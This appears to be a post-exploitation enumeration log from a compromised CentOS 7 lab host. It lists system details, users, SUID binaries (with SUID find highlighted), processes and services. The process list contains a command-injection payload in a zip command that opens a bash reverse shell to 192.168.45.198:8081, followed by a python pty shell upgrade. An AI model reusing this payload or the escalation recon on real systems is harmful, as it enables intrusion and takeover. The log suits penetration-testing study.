System/Kernel


bash-4.2$ uname -a ; cat /etc/*release
Linux quackerjack 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
CentOS Linux release 7.8.2003 (Core)
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"
 
CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"
 
CentOS Linux release 7.8.2003 (Core)
CentOS Linux release 7.8.2003 (Core)
  • 3.10.0-1127.10.1.el7.x86_64
  • x86_64
  • CentOS Linux 7 (Core)

Networks


bash-4.2$ ip route ; arp -a
default via 192.168.144.254 dev ens192 
169.254.0.0/16 dev ens192 scope link metric 1003 
192.168.144.0/24 dev ens192 proto kernel scope link src 192.168.144.57 
gateway (192.168.144.254) at 00:50:56:9e:ad:80 [ether] on ens192
bash-4.2$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -                   
tcp        0     17 192.168.144.57:48026    192.168.45.198:8081     ESTABLISHED 1852/bash           
udp        0      0 127.0.0.1:323           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:901             0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:111             0.0.0.0:*                           -                   

Users & Groups


bash-4.2$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
total 4.0K
4.0K drwxr-xr-x. 15 apache root 4.0K Jul  9  2020 rconfig
   0 dr-xr-xr-x. 17 root   root  244 Jun 25  2020 ..
   0 drwxr-xr-x.  3 root   root   21 Jun 22  2020 .

rconfig

bash-4.2$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(bin) gid=1(bin) groups=1(bin)
uid=2(daemon) gid=2(daemon) groups=2(daemon)
uid=3(adm) gid=4(adm) groups=4(adm)
uid=4(lp) gid=7(lp) groups=7(lp)
uid=5(sync) gid=0(root) groups=0(root)
uid=6(shutdown) gid=0(root) groups=0(root)
uid=7(halt) gid=0(root) groups=0(root)
uid=8(mail) gid=12(mail) groups=12(mail)
uid=11(operator) gid=0(root) groups=0(root)
uid=12(games) gid=100(users) groups=100(users)
uid=14(ftp) gid=50(ftp) groups=50(ftp)
uid=99(nobody) gid=99(nobody) groups=99(nobody)
uid=192(systemd-network) gid=192(systemd-network) groups=192(systemd-network)
uid=81(dbus) gid=81(dbus) groups=81(dbus)
uid=999(polkitd) gid=998(polkitd) groups=998(polkitd)
uid=74(sshd) gid=74(sshd) groups=74(sshd)
uid=89(postfix) gid=89(postfix) groups=89(postfix),12(mail)
uid=998(chrony) gid=996(chrony) groups=996(chrony)
uid=48(apache) gid=48(apache) groups=48(apache)
uid=59(tss) gid=59(tss) groups=59(tss)
uid=32(rpc) gid=32(rpc) groups=32(rpc)
uid=27(mysql) gid=27(mysql) groups=27(mysql)

uid=48(apache) gid=48(apache) groups=48(apache)

SUIDs


bash-4.2$ find / -perm -04000 -ls -type f 2>/dev/null | grep -v '/snap'
12596477  196 -rwsr-xr-x   1 root     root       199304 Oct 30  2018 /usr/bin/find
12845841   76 -rwsr-xr-x   1 root     root        73888 Aug  8  2019 /usr/bin/chage
12845842   80 -rwsr-xr-x   1 root     root        78408 Aug  8  2019 /usr/bin/gpasswd
12897242   24 -rws--x--x   1 root     root        23968 Apr  1  2020 /usr/bin/chfn
12897245   24 -rws--x--x   1 root     root        23880 Apr  1  2020 /usr/bin/chsh
12845845   44 -rwsr-xr-x   1 root     root        41936 Aug  8  2019 /usr/bin/newgrp
12897294   32 -rwsr-xr-x   1 root     root        32128 Apr  1  2020 /usr/bin/su
13284201  144 ---s--x--x   1 root     root       147336 Apr  1  2020 /usr/bin/sudo
12897278   44 -rwsr-xr-x   1 root     root        44264 Apr  1  2020 /usr/bin/mount
12897298   32 -rwsr-xr-x   1 root     root        31984 Apr  1  2020 /usr/bin/umount
12982629   60 -rwsr-xr-x   1 root     root        57656 Aug  8  2019 /usr/bin/crontab
12944638   24 -rwsr-xr-x   1 root     root        23576 Apr  1  2020 /usr/bin/pkexec
12862194   28 -rwsr-xr-x   1 root     root        27856 Mar 31  2020 /usr/bin/passwd
13299021   32 -rwsr-xr-x   1 root     root        32096 Oct 30  2018 /usr/bin/fusermount
354814   36 -rwsr-xr-x   1 root     root        36272 Apr  1  2020 /usr/sbin/unix_chkpwd
354810   12 -rwsr-xr-x   1 root     root        11232 Apr  1  2020 /usr/sbin/pam_timestamp_check
433482   12 -rwsr-xr-x   1 root     root        11296 Mar 31  2020 /usr/sbin/usernetctl
4529180   16 -rwsr-xr-x   1 root     root        15432 Apr  1  2020 /usr/lib/polkit-1/polkit-agent-helper-1
4528919   60 -rwsr-x---   1 root     dbus        58024 Mar 14  2019 /usr/libexec/dbus-1/dbus-daemon-launch-helper

12596477 196 -rwsr-xr-x 1 root root 199304 Oct 30 2018 /usr/bin/find

SGIDs


bash-4.2$ find / -type f -perm -02000 -ls 2>/dev/null | grep -v '/snap'
12610438   16 -r-xr-sr-x   1 root     tty         15344 Jun  9  2014 /usr/bin/wall
12944466   20 -rwxr-sr-x   1 root     tty         19544 Apr  1  2020 /usr/bin/write
13041865  376 ---x--s--x   1 root     nobody     382216 Aug  8  2019 /usr/bin/ssh-agent
13031728   40 -rwx--s--x   1 root     slocate     40520 Apr 10  2018 /usr/bin/locate
433477   12 -rwxr-sr-x   1 root     root        11224 Mar 31  2020 /usr/sbin/netreport
484637  216 -rwxr-sr-x   1 root     postdrop   218560 Apr  1  2020 /usr/sbin/postdrop
484740  260 -rwxr-sr-x   1 root     postdrop   264128 Apr  1  2020 /usr/sbin/postqueue
8736345   12 -rwx--s--x   1 root     utmp        11192 Jun  9  2014 /usr/libexec/utempter/utempter
4537792  456 ---x--s--x   1 root     ssh_keys   465760 Aug  8  2019 /usr/libexec/openssh/ssh-keysign

Capabilities


bash-4.2$ getcap -r / 2>/dev/null
/usr/bin/newgidmap = cap_setgid+ep
/usr/bin/newuidmap = cap_setuid+ep
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/suexec = cap_setgid,cap_setuid+ep

Processes


bash-4.2$ ps -auxwww
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.3 125472  3908 ?        Ss   01:18   0:00 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root       574  0.0  0.1  37236  1868 ?        Ss   01:18   0:00 /usr/lib/systemd/systemd-journald
root       592  0.0  0.1 190376  1340 ?        Ss   01:18   0:00 /usr/sbin/lvmetad -f
root       599  0.0  0.2  45640  2552 ?        Ss   01:18   0:00 /usr/lib/systemd/systemd-udevd
root       703  0.0  0.0  55532   848 ?        S<sl 01:18   0:00 /sbin/auditd
root       732  0.0  0.6  99688  6196 ?        Ss   01:18   0:00 /usr/bin/VGAuthService -s
polkitd    733  0.0  1.0 612248 11108 ?        Ssl  01:18   0:00 /usr/lib/polkit-1/polkitd --no-debug
rpc        737  0.0  0.0  69280  1008 ?        Ss   01:18   0:00 /sbin/rpcbind -w
root       738  0.0  0.7 314456  7288 ?        Ssl  01:18   0:01 /usr/bin/vmtoolsd
root       739  0.0  0.1  26384  1752 ?        Ss   01:18   0:00 /usr/lib/systemd/systemd-logind
dbus       740  0.0  0.2  58240  2464 ?        Ss   01:18   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
chrony     749  0.0  0.1 117808  1644 ?        S    01:18   0:00 /usr/sbin/chronyd
root       761  0.0  0.1 126388  1580 ?        Ss   01:18   0:00 /usr/sbin/crond -n
root       769  0.0  0.0 110204   848 tty1     Ss+  01:18   0:00 /sbin/agetty --noclear tty1 linux
root       783  0.0  1.0 550284 10972 ?        Ssl  01:18   0:00 /usr/sbin/NetworkManager --no-daemon
root      1014  0.0  1.7 574300 17456 ?        Ssl  01:19   0:00 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
root      1017  0.0  0.3 227260  3516 ?        Ssl  01:19   0:00 /usr/sbin/rsyslogd -n
root      1021  0.0  1.6 407936 16420 ?        Ss   01:19   0:00 /usr/sbin/httpd -DFOREGROUND
root      1023  0.0  0.4 112924  4308 ?        Ss   01:19   0:00 /usr/sbin/sshd -D
root      1028  0.0  0.0  53288   576 ?        Ss   01:19   0:00 /usr/sbin/vsftpd /etc/vsftpd/vsftpd.conf
mysql     1064  0.0  0.1 113412  1600 ?        Ss   01:19   0:00 /bin/sh /usr/bin/mysqld_safe --basedir=/usr
mysql     1232  0.0  9.1 1169336 92912 ?       Sl   01:19   0:00 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --log-error=/var/log/mariadb/mariadb.log --pid-file=/var/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
apache    1236  0.0  1.2 409076 12828 ?        S    01:19   0:00 /usr/sbin/httpd -DFOREGROUND
apache    1237  0.0  1.2 408972 12724 ?        S    01:19   0:00 /usr/sbin/httpd -DFOREGROUND
apache    1238  0.0  1.1 408564 11804 ?        S    01:19   0:00 /usr/sbin/httpd -DFOREGROUND
apache    1239  0.0  1.2 409084 12788 ?        S    01:19   0:00 /usr/sbin/httpd -DFOREGROUND
apache    1240  0.0  1.2 409076 12800 ?        S    01:19   0:00 /usr/sbin/httpd -DFOREGROUND
root      1449  0.0  1.2 454168 12784 ?        Ss   01:20   0:00 /usr/sbin/smbd --foreground --no-process-group
root      1451  0.0  0.3 450216  3896 ?        S    01:20   0:00 /usr/sbin/smbd --foreground --no-process-group
root      1452  0.0  0.3 450208  3612 ?        S    01:20   0:00 /usr/sbin/smbd --foreground --no-process-group
root      1454  0.0  0.4 454168  4100 ?        S    01:20   0:00 /usr/sbin/smbd --foreground --no-process-group
root      1506  0.0  0.0 123360   732 ?        Ss   01:30   0:00 /usr/sbin/anacron -s
apache    1737  0.0  1.2 408972 12700 ?        S    01:49   0:00 /usr/sbin/httpd -DFOREGROUND
apache    1749  0.0  1.1 408204 11516 ?        S    01:54   0:00 /usr/sbin/httpd -DFOREGROUND
apache    1831  0.0  0.7 408072  7828 ?        S    02:08   0:00 /usr/sbin/httpd -DFOREGROUND
apache    1850  0.0  0.1  11688  1140 ?        S    02:08   0:00 sh -c sudo -u apache zip -r -j `bash -i>& /dev/tcp/192.168.45.198/8081 0>&1`archive/filename20250403.zip `bash -i>& /dev/tcp/192.168.45.198/8081 0>&1`*.random
apache    1851  0.0  0.0  11688   652 ?        S    02:08   0:00 sh -c sudo -u apache zip -r -j `bash -i>& /dev/tcp/192.168.45.198/8081 0>&1`archive/filename20250403.zip `bash -i>& /dev/tcp/192.168.45.198/8081 0>&1`*.random
apache    1852  0.0  0.1  11828  1772 ?        S    02:08   0:00 bash -i
apache    1859  0.0  0.4  26032  4732 ?        S    02:09   0:00 python -c import pty; pty.spawn("/bin/bash")
apache    1860  0.0  0.1  11824  1812 pts/0    Ss   02:09   0:00 /bin/bash
apache    1970  0.0  0.1  51756  1736 pts/0    R+   02:13   0:00 ps -auxwww
  • polkitd 733 0.0 1.0 612248 11108 ? Ssl 01:18 0:00 /usr/lib/polkit-1/polkitd --no-debug
  • rpc 737 0.0 0.0 69280 1008 ? Ss 01:18 0:00 /sbin/rpcbind -w
  • root 761 0.0 0.1 126388 1580 ? Ss 01:18 0:00 /usr/sbin/crond -n
  • root 1021 0.0 1.6 407936 16420 ? Ss 01:19 0:00 /usr/sbin/httpd -DFOREGROUND
  • root 1028 0.0 0.0 53288 576 ? Ss 01:19 0:00 /usr/sbin/vsftpd /etc/vsftpd/vsftpd.conf
  • mysql 1064 0.0 0.1 113412 1600 ? Ss 01:19 0:00 /bin/sh /usr/bin/mysqld_safe --basedir=/usr
  • mysql 1232 0.0 9.1 1169336 92912 ? Sl 01:19 0:00 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --log-error=/var/log/mariadb/mariadb.log --pid-file=/var/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock

Cron & Systemd


bash-4.2$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for apache
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
 
# For details see man 4 crontabs
 
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
 
NEXT                         LEFT     LAST                         PASSED       
Fri 2025-04-04 01:33:54 EDT  23h left Thu 2025-01-30 03:04:06 EST  2 months 2 da
 
1 timers listed.
Pass --all to see loaded but inactive timers, too.

Services


bash-4.2$ systemctl list-units --state=running
UNIT                         LOAD   ACTIVE SUB     DESCRIPTION
proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable Fil
auditd.service               loaded active running Security Auditing Service
chronyd.service              loaded active running NTP client/server
crond.service                loaded active running Command Scheduler
dbus.service                 loaded active running D-Bus System Message Bus
getty@tty1.service           loaded active running Getty on tty1
httpd.service                loaded active running The Apache HTTP Server
lvm2-lvmetad.service         loaded active running LVM2 metadata daemon
mariadb.service              loaded active running MariaDB database server
NetworkManager.service       loaded active running Network Manager
polkit.service               loaded active running Authorization Manager
rpcbind.service              loaded active running RPC bind service
rsyslog.service              loaded active running System Logging Service
smb.service                  loaded active running Samba SMB Daemon
sshd.service                 loaded active running OpenSSH server daemon
systemd-journald.service     loaded active running Journal Service
systemd-logind.service       loaded active running Login Service
systemd-udevd.service        loaded active running udev Kernel Device Manager
tuned.service                loaded active running Dynamic System Tuning Daemon
vgauthd.service              loaded active running VGAuth Service for open-vm-to
vmtoolsd.service             loaded active running Service for virtual machines 
vsftpd.service               loaded active running Vsftpd ftp daemon
dbus.socket                  loaded active running D-Bus System Message Bus Sock
lvm2-lvmetad.socket          loaded active running LVM2 metadata daemon socket
rpcbind.socket               loaded active running RPCbind Server Activation Soc
systemd-journald.socket      loaded active running Journal Socket
systemd-udevd-control.socket loaded active running udev Control Socket
systemd-udevd-kernel.socket  loaded active running udev Kernel Socket
 
LOAD   = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB    = The low-level unit activation state, values depend on unit type.
 
28 loaded units listed. Pass --all to see loaded but inactive units, too.
To show all installed unit files use 'systemctl list-unit-files'.

httpd.service

Sudo Version


bash-4.2$ sudo --version
Sudo version 1.8.23
Sudoers policy plugin version 1.8.23
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.23

Sudo version 1.8.23

Glibc Version


bash-4.2$ ldd --version
ldd (GNU libc) 2.17
Copyright (C) 2012 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (GNU libc) 2.17